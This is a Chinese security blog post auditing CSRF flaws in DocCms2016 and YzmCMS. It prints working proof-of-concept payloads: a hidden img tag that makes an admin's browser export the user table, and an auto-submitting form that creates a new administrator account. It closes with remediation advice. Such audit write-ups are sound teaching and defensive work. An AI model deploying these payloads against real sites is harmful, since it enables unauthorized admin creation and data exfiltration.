【代码审计】两个简单的CSRF漏洞实例

时间:2022-06-25
本文章向大家介绍【代码审计】两个简单的CSRF漏洞实例,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

00

前言

CSRF(Cross-site request forgery)跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站,这边分享两个漏洞代码示例。

01

实例一:利用CSRF备份数据库

环境搭建:

DocCms官网:http://www.doccms.com

程序源码:DocCms2016

下载地址:https://pan.baidu.com/s/1pLclifL

代码分析:

在doccmsadminicontrollerssystemback.php中,

export函数直接对提交上来的参数tables/sizelimit进行处理,导出sql备份文件,未对访问来源进行有效验证,导致数据库备份模块存在CSRF漏洞。

漏洞利用:

1、构造CSRF漏洞利用代码,只备份管理员用户表doc_user:

<H2> CRSFTester</H2>

<img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=开始备份数据" width="0" height="0" border="0"/>

2、在网站首页在线留言提交CSRF漏洞利用代码:

3、当管理员在后台查看留言信息时,自动备份数据库到/doccms/temp/data目录下:

02

实例二:利用CSRF添加管理员

环境搭建:

YzmCMS官网:http://www.yzmcms.com

程序源码下载:http://pan.baidu.com/s/1pKA4u99

代码分析:

漏洞文件位置: /application/admin/controller/admin_manage.class.php第35-59行中:

这段函数中进行添加管理员操作,只进行管理员身份验证,未对访问来源进行识别,导致程序在实现上存在CSRF漏洞。

漏洞利用:

1、构造CSRF漏洞利用代码如下:

1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 
2.  
3. <html> 
4. <head> 
5. <title>OWASP CRSFTester Demonstration</title> 
6. </head> 
7. <body onload="javascript:fireForms()"> 
8. <script language="JavaScript"> 
9. var pauses = new Array( "68" );  
10.  
11. function pausecomp(millis)  
12. {  
13.     var date = new Date();  
14.     var curDate = null;  
15.  
16.     do { curDate = new Date(); }  
17.     while(curDate-date < millis);  
18. }  
19.  
20. function fireForms()  
21. {  
22.     var count = 1;  
23.     var i=0;  
24.  
25.     for(i=0; i<count; i++)  
26.     {  
27.         document.forms[i].submit();  
28.  
29.         pausecomp(pauses[i]);  
30.     }  
31. }  
32.  
33. </script> 
34. <H2>OWASP CRSFTester Demonstration</H2> 
35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html"> 
36. <input type="hidden" name="adminname" value="admin"/> 
37. <input type="hidden" name="password" value="abc123!"/> 
38. <input type="hidden" name="password2" value="abc123!"/> 
39. <input type="hidden" name="email" value=""/> 
40. <input type="hidden" name="realname" value=""/> 
41. <input type="hidden" name="roleid" value="1"/> 
42. <input type="hidden" name="dosubmit" value="1"/> 
43. </form> 
44. </body> 
45. </html> 

2、当管理员浏览该页面时,自动创建管理员账号admin

3、利用admin账号可成功登录后台进行任意操作。

03

修复建议

在服务端的防御,如验证HTTP Referer字段、在请求地址中添加token并验证、在HTTP头中自定义属性并验证。

04

END

不少CMS缺少对代码安全的考虑,CSRF仍然是一个普遍存在的安全问题。一些企业网站类型的CMS,利用CSRF备份数据、添加管理员等操作,都是很常见的漏洞场景。

Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。